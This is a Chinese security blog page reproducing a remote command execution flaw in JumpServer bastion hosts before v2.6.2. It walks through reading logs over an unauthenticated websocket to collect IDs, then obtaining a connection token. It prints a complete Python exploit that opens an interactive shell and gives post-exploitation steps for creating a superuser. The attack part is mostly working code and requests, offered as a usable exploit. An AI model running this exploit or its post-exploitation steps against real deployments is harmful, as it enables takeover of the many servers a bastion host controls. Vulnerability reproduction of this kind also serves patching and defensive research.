<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>jumpserver 远程命令执行RCE漏洞复现和利用 | Zeo's Security Lab</title><meta name="author" content="Zeo"><meta name="copyright" content="Zeo"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="ffffff"><meta name="description" content="0x01 简介 JumpServer远程执行漏洞 RCE EXP Jumpserver 是一款由python编写开源的跳板机(堡垒机)系统，是内网中的一种集权系统，拿下后基本上都是可以控制大量的服务器。 项目地址：https:&#x2F;&#x2F;github.com&#x2F;jumpserver&#x2F;jumpserver  0x02 漏洞原理远程命令执行漏洞：由于 JumpServer 某些接口未做授权限制，攻击者可构造">
<meta property="og:type" content="article">
<meta property="og:title" content="jumpserver 远程命令执行RCE漏洞复现和利用">
<meta property="og:url" content="https://godzeo.github.io/2021/11/16/jumpserver%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8CRCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%A9%E7%94%A8/index.html">
<meta property="og:site_name" content="Zeo&#39;s Security Lab">
<meta property="og:description" content="0x01 简介 JumpServer远程执行漏洞 RCE EXP Jumpserver 是一款由python编写开源的跳板机(堡垒机)系统，是内网中的一种集权系统，拿下后基本上都是可以控制大量的服务器。 项目地址：https:&#x2F;&#x2F;github.com&#x2F;jumpserver&#x2F;jumpserver  0x02 漏洞原理远程命令执行漏洞：由于 JumpServer 某些接口未做授权限制，攻击者可构造">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp">
<meta property="article:published_time" content="2021-11-16T14:03:04.000Z">
<meta property="article:modified_time" content="2022-11-28T12:25:22.941Z">
<meta property="article:author" content="Zeo">
<meta property="article:tag" content="windows linux ssh">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp"><link rel="shortcut icon" href="/img/WX20211124-162855.png"><link rel="canonical" href="https://godzeo.github.io/2021/11/16/jumpserver%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8CRCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%A9%E7%94%A8/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.min.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isAnchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: 'jumpserver 远程命令执行RCE漏洞复现和利用',
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2022-11-28 20:25:22'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', 'ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 6.3.0"><link rel="alternate" href="/atom.xml" title="Zeo's Security Lab" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231013354.png" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">125</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Zeo's Security Lab</a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div><div class="menus_item"><a class="site-page group" href="javascript:void(0);"><i class="fa-fw fas fa-list"></i><span> List</span><i class="fas fa-chevron-down"></i></a><ul class="menus_item_child"><li><a class="site-page child" href="/music/"><i class="fa-fw fas fa-music"></i><span> Music</span></a></li><li><a class="site-page child" href="/movies/"><i class="fa-fw fas fa-video"></i><span> Movie</span></a></li></ul></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> About</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">jumpserver 远程命令执行RCE漏洞复现和利用</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2021-11-16T14:03:04.000Z" title="发表于 2021-11-16 22:03:04">2021-11-16</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2022-11-28T12:25:22.941Z" title="更新于 2022-11-28 20:25:22">2022-11-28</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/WEB-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/">WEB 漏洞复现和分析</a></span></div><div class="meta-secondline"></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><span id="more"></span>

<h1 id="0x01-简介"><a href="#0x01-简介" class="headerlink" title="0x01 简介"></a>0x01 简介</h1><ul>
<li>JumpServer远程执行漏洞 RCE EXP</li>
<li>Jumpserver 是一款由python编写开源的跳板机(堡垒机)系统，是内网中的一种集权系统，拿下后基本上都是可以控制大量的服务器。</li>
<li>项目地址：<a target="_blank" rel="noopener" href="https://github.com/jumpserver/jumpserver">https://github.com/jumpserver/jumpserver</a></li>
</ul>
<h1 id="0x02-漏洞原理"><a href="#0x02-漏洞原理" class="headerlink" title="0x02 漏洞原理"></a>0x02 漏洞原理</h1><p>远程命令执行漏洞：由于 JumpServer 某些接口未做授权限制，攻击者可构造恶意请求获取到日志文件获取敏感信息，再通过敏感信息获取一个20s的token，最后利用这个token去执行相关API操作控制其中所有机器或者执行任意命令。</p>
<h1 id="0x03-影响版本："><a href="#0x03-影响版本：" class="headerlink" title="0x03 影响版本："></a>0x03 影响版本：</h1><ul>
<li>JumpServer &lt; v2.6.2</li>
<li>JumpServer &lt; v2.5.4</li>
<li>JumpServer &lt; v2.4.5</li>
<li>JumpServer &#x3D; v1.5.9</li>
</ul>
<h1 id="0x04-复现环境搭建注意坑点"><a href="#0x04-复现环境搭建注意坑点" class="headerlink" title="0x04 复现环境搭建注意坑点"></a>0x04 复现环境搭建注意坑点</h1><p>环境搭建推荐使用一键安装，因为环境比较麻烦，而且还得是旧版的，这里是v2.6.1</p>
<p>安装脚本V2.6.1 <a target="_blank" rel="noopener" href="https://www.o2oxy.cn/wp-content/uploads/2021/01/quick/_start.zip">https://www.o2oxy.cn/wp-content/uploads/2021/01/quick\_start.zip</a></p>
<ul>
<li><p>注意要给环境配置高一点，否则会卡死。（我是 Centos 7 系统 4核 8G）</p>
</li>
<li><p>使用一件脚本的时候，推荐不使用外部 mysql和redis，这样他就会docker自己创建数据库，省的自己配报错。</p>
</li>
</ul>
<p><img src="https://img-blog.csdnimg.cn/img_convert/08318eeb8720b0c674c4eb8287a34be0.png" alt="image-20211116213713089"></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/1a1729a9fe9247b7bd02e2f605b21c23.png" alt="image-20211116215738873"></p>
<ul>
<li><p>搭建好了，服务一键启动 .&#x2F;jmsctl.sh restart</p>
</li>
<li><p>搭建好了，默认的账户和密码是 admin admin</p>
</li>
</ul>
<p><a target="_blank" rel="noopener" href="http://10.211.55.22:8080/core/auth/login/">http://10.211.55.22:8080/core/auth/login/</a></p>
<p>登陆之后还不能直接用，还有配置一下，分配一下服务器才能使用。</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/8e8852907fc97e38d85bc09ca22592b6.png" alt="image-20211116135025055"></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/4888afc5f2f426bb8d5eabac631fc026.png" alt="image-20211116140247634"></p>
<h3 id="1、创建一个系统用户"><a href="#1、创建一个系统用户" class="headerlink" title="1、创建一个系统用户"></a>1、创建一个系统用户</h3><ul>
<li>系统用户是 JumpServer 跳转登录资产时使用的用户</li>
</ul>
<p><img src="https://img-blog.csdnimg.cn/img_convert/3e922b48c39c92d6754de772db51b2e9.png" alt="image-20211116162139678"></p>
<h3 id="2、创建管理用户"><a href="#2、创建管理用户" class="headerlink" title="2、创建管理用户"></a>2、创建管理用户</h3><p>管理用户是资产（被控服务器）上的 root，或拥有 NOPASSWD: ALL sudo 权限的用户</p>
<p>我的被管理主机就是 root root</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/222a88926397ebbec7c98a23fd209a01.png" alt="image-20211116162425352"></p>
<h3 id="3、创建资产"><a href="#3、创建资产" class="headerlink" title="3、创建资产"></a>3、创建资产</h3><p>就是要管理的终端</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/36c81e70871e16a288940a6bcb921401.png" alt="image-20211116161329363"></p>
<h3 id="4、资产授权"><a href="#4、资产授权" class="headerlink" title="4、资产授权"></a>4、资产授权</h3><p>只有给资产授权，控制台才有机器，才能管理</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/9969bd1e5d8514028ea487c32148c05a.png" alt="image-20211116214033044"></p>
<h3 id="5、web终端连接"><a href="#5、web终端连接" class="headerlink" title="5、web终端连接"></a>5、web终端连接</h3><p>访问web终端：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://10.211.55.22:8080/luna/</span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/img_convert/07b820bfb60ca201c31fa863fa7e70aa.png" alt="image-20211116213928187"></p>
<h1 id="0x05-漏洞复现"><a href="#0x05-漏洞复现" class="headerlink" title="0x05 漏洞复现"></a>0x05 漏洞复现</h1><h3 id="1、请求未授权-socketweb"><a href="#1、请求未授权-socketweb" class="headerlink" title="1、请求未授权 socketweb"></a>1、请求未授权 socketweb</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ws://10.211.55.22:8080/ws/ops/tasks/log/</span><br></pre></td></tr></table></figure>

<p>利用chrome插件<a target="_blank" rel="noopener" href="https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related">https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related</a></p>
<p>请求log文件</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;task&quot;:&quot;/opt/jumpserver/logs/gunicorn&quot;&#125;</span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/img_convert/e9b4cee05b52b138c70d2f2f2221577c.png" alt="image-20211116213021155"></p>
<h3 id="2、获取system-user-user-id-asset-id-这三个重要参数"><a href="#2、获取system-user-user-id-asset-id-这三个重要参数" class="headerlink" title="2、获取system_user user_id asset_id 这三个重要参数"></a>2、获取system_user user_id asset_id 这三个重要参数</h3><p>自己搜索一下这三个id</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/8ed10c534fab1d14062957829ee51ffc.png" alt="image-20211116210851228"></p>
<p>所以获取到的是</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">asset_id=230f921b-be1c-4343-8bab-57d4410606bb&amp;cache_policy=1&amp;system_user_id=03705092-18e7-4b65-a12a-7991f9c50740&amp;user_id=0cae929c-5f7a-41a4-b873-bc9d28613c4c </span><br></pre></td></tr></table></figure>

<h3 id="3、对应填入EXP中"><a href="#3、对应填入EXP中" class="headerlink" title="3、对应填入EXP中"></a>3、对应填入EXP中</h3><p>exp为了美观放到最后</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">文件最后需要修改的：</span><br><span class="line"></span><br><span class="line">host = &quot;http://10.211.55.22:8080&quot;</span><br><span class="line"></span><br><span class="line">data = &#123;</span><br><span class="line">        &quot;user&quot;: &quot;0cae929c-5f7a-41a4-b873-bc9d28613c4c&quot;,</span><br><span class="line">        &quot;asset&quot;: &quot;230f921b-be1c-4343-8bab-57d4410606bb&quot;,</span><br><span class="line">        &quot;system_user&quot;: &quot;03705092-18e7-4b65-a12a-7991f9c50740&quot;,</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>

<h3 id="4、成功利用："><a href="#4、成功利用：" class="headerlink" title="4、成功利用："></a>4、成功利用：</h3><p><img src="https://img-blog.csdnimg.cn/img_convert/c4e44a2cc96703461ed95d3761de79ff.png" alt="image-20211116211942852"></p>
<h1 id="后利用：创建超管"><a href="#后利用：创建超管" class="headerlink" title="后利用：创建超管"></a>后利用：创建超管</h1><p>获取到shell，我们可以直接创建超管，毕竟主机权限没什么用，登陆系统之后才有大量的主机。</p>
<h3 id="命令行创建超管"><a href="#命令行创建超管" class="headerlink" title="命令行创建超管"></a>命令行创建超管</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">切换到目录  </span><br><span class="line">cd /opt/jumpserver/apps</span><br><span class="line"></span><br><span class="line">python manage.py createsuperuser</span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/img_convert/3626118f4be9daa0a4c4eba0406fba3d.png" alt="image-20211116151519867"></p>
<p>超管登陆成功</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/f5dc04d591886d773e95e215e8ffba9e.png" alt="image-20211116151545855"></p>
<h1 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h1><p>EXP 代码 仓库 <a target="_blank" rel="noopener" href="https://github.com/Skactor/jumpserver/_rce">https://github.com/Skactor/jumpserver\_rce</a></p>
<p>我实测，这个手动获取 asset_id system_user_id user_id 这三个可以正常触发漏洞，但是好多自动化获取多少有点问题，反正我的是没成功。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line">import os</span><br><span class="line"></span><br><span class="line">import asyncio</span><br><span class="line">import aioconsole</span><br><span class="line"></span><br><span class="line">import websockets</span><br><span class="line">import requests</span><br><span class="line">import json</span><br><span class="line"></span><br><span class="line">url = &quot;/api/v1/authentication/connection-token/?user-only=1&quot;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def get_celery_task_log_path(task_id):</span><br><span class="line">    task_id = str(task_id)</span><br><span class="line">    rel_path = os.path.join(task_id[0], task_id[1], task_id + &quot;.log&quot;)</span><br><span class="line">    path = os.path.join(&quot;/opt/jumpserver/&quot;, rel_path)</span><br><span class="line">    return path</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">async def send_msg(websocket, _text):</span><br><span class="line">    if _text == &quot;exit&quot;:</span><br><span class="line">        print(f&#x27;you have enter &quot;exit&quot;, goodbye&#x27;)</span><br><span class="line">        await websocket.close(reason=&quot;user exit&quot;)</span><br><span class="line">        return False</span><br><span class="line">    await websocket.send(_text)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">async def send_loop(ws, session_id):</span><br><span class="line">    while True:</span><br><span class="line">        cmdline = await aioconsole.ainput()</span><br><span class="line">        await send_msg(</span><br><span class="line">            ws,</span><br><span class="line">            json.dumps(</span><br><span class="line">                &#123;&quot;id&quot;: session_id, &quot;type&quot;: &quot;TERMINAL_DATA&quot;, &quot;data&quot;: cmdline + &quot;\n&quot;&#125;</span><br><span class="line">            ),</span><br><span class="line">        )</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">async def recv_loop(ws):</span><br><span class="line">    while True:</span><br><span class="line">        recv_text = await ws.recv()</span><br><span class="line">        ret = json.loads(recv_text)</span><br><span class="line">        if ret.get(&quot;type&quot;, &quot;TERMINAL_DATA&quot;):</span><br><span class="line">            await aioconsole.aprint(ret[&quot;data&quot;], end=&quot;&quot;)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># 客户端主逻辑</span><br><span class="line">async def main_logic():</span><br><span class="line">    print(&quot;#######start ws&quot;)</span><br><span class="line">    async with websockets.connect(target) as client:</span><br><span class="line">        recv_text = await client.recv()</span><br><span class="line">        print(f&quot;&#123;recv_text&#125;&quot;)</span><br><span class="line">        session_id = json.loads(recv_text)[&quot;id&quot;]</span><br><span class="line">        print(&quot;get ws id:&quot; + session_id)</span><br><span class="line">        print(&quot;###############&quot;)</span><br><span class="line">        print(&quot;init ws&quot;)</span><br><span class="line">        print(&quot;###############&quot;)</span><br><span class="line">        inittext = json.dumps(</span><br><span class="line">            &#123;</span><br><span class="line">                &quot;id&quot;: session_id,</span><br><span class="line">                &quot;type&quot;: &quot;TERMINAL_INIT&quot;,</span><br><span class="line">                &quot;data&quot;: &#x27;&#123;&quot;cols&quot;:164,&quot;rows&quot;:17&#125;&#x27;,</span><br><span class="line">            &#125;</span><br><span class="line">        )</span><br><span class="line">        await send_msg(client, inittext)</span><br><span class="line">        await asyncio.gather(recv_loop(client), send_loop(client, session_id))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    host = &quot;http://10.211.55.22:8080&quot;</span><br><span class="line">    cmd = &quot;whoami&quot;</span><br><span class="line">    if host[-1] == &quot;/&quot;:</span><br><span class="line">        host = host[:-1]</span><br><span class="line">    print(host)</span><br><span class="line">    data = &#123;</span><br><span class="line">        &quot;user&quot;: &quot;0cae929c-5f7a-41a4-b873-bc9d28613c4c&quot;,</span><br><span class="line">        &quot;asset&quot;: &quot;230f921b-be1c-4343-8bab-57d4410606bb&quot;,</span><br><span class="line">        &quot;system_user&quot;: &quot;03705092-18e7-4b65-a12a-7991f9c50740&quot;,</span><br><span class="line">    &#125;</span><br><span class="line">    print(&quot;##################&quot;)</span><br><span class="line">    print(&quot;get token url:%s&quot; % (host + url,))</span><br><span class="line">    print(&quot;##################&quot;)</span><br><span class="line">    res = requests.post(host + url, json=data)</span><br><span class="line">    token = res.json()[&quot;token&quot;]</span><br><span class="line">    print(&quot;token:%s&quot;, (token,))</span><br><span class="line">    print(&quot;##################&quot;)</span><br><span class="line">    target = (</span><br><span class="line">        &quot;ws://&quot; + host.replace(&quot;http://&quot;, &quot;&quot;) + &quot;/koko/ws/token/?target_id=&quot; + token</span><br><span class="line">    )</span><br><span class="line">    print(&quot;target ws:%s&quot; % (target,))</span><br><span class="line">    asyncio.get_event_loop().run_until_complete(main_logic())</span><br><span class="line"></span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2021/11/16/jumpserver%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8CRCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%A9%E7%94%A8/">https://godzeo.github.io/2021/11/16/jumpserver%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8CRCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%A9%E7%94%A8/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://godzeo.github.io" target="_blank">Zeo's Security Lab</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"><a class="post-meta__tags" href="/tags/windows-linux-ssh/">windows linux ssh</a></div><div class="post_share"><div class="social-share" data-image="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/2021/11/17/Apache%20Druid%20LoadData%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%20%E6%BC%8F%E6%B4%9E%20CVE-2021-36749/"><img class="prev-cover" src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225559.webp" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">Apache Druid LoadData 任意文件读取 漏洞 CVE-2021-36749</div></div></a></div><div class="next-post pull-right"><a href="/2021/10/31/Gitlab%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8CRCE%E6%BC%8F%E6%B4%9ECVE-2021-22205%E9%99%84exp/"><img class="next-cover" src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225569.webp" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">Gitlab 远程命令执行RCE漏洞CVE-2021-22205附exp</div></div></a></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231013354.png" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">Zeo</div><div class="author-info__description">专注于安全,分享生活,分享知识</div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">125</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/godzeo"><i class="fab fa-github"></i><span>Follow Me</span></a><div class="card-info-social-icons is-center"><a class="social-icon" href="https://github.com/godzeo" target="_blank" title="Github"><i class="fab fa-github"></i></a><a class="social-icon" href="mailto:zzzhhhaaaiiii@gmail.com" target="_blank" title="Email"><i class="fas fa-envelope"></i></a></div></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">Weclome my blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#0x01-%E7%AE%80%E4%BB%8B"><span class="toc-number">1.</span> <span class="toc-text">0x01 简介</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x02-%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86"><span 